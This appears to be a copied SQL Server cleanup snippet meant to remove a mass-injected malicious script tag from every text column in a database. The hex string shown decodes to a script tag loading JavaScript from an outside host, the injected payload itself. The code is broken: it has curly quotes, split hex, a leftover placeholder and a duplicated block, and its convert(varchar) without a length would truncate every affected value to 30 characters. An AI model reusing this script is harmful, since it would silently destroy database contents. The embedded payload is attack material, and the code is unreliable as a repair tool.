数据库挂马修复语句

declare @t varchar(255),@c varchar(255)

dEcLaRe table_cursor cursor
for select a.name,b.name from sysobjects a,syscolumns b where a.iD=b.iD AnD a.xTyPe=’u’ AnD (b.xTyPe=99 oR

b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167)
oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c
while(@@fEtCh_status=0)
bEgIn
exec(‘UpDaTe ['+@t+'] sEt ['+@c+']=replace(['+@c+'], 替换挂马代码转十六进制,””)’);
fEtCh next FrOm tAbLe_cursoR iNtO @t,@c
eNd
close tAbLe_cursoR
deallocate tAbLe_cursoR
dEcLaRe @t vArChAr(255),@c vArChAr(255)
dEcLaRe tAbLe_cursoR cUrSoR
FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe=’u’ AnD (b.xTyPe=99 oR

b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167)
oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c
while(@@fEtCh_status=0)
bEgIn
exec(‘UpDaTe ['+@t+'] sEt ['+@c+']=replace(convert(varchar,['+@c+']),cAsT

(0x3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F736372

6970743E3C212D2D aS vArChAr(67)),””)’)
fEtCh next FrOm tAbLe_cursoR iNtO @t,@c
eNd
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cLoSe tAbLe_cursoR
dEAlLoCaTe tAbLe_cursoR

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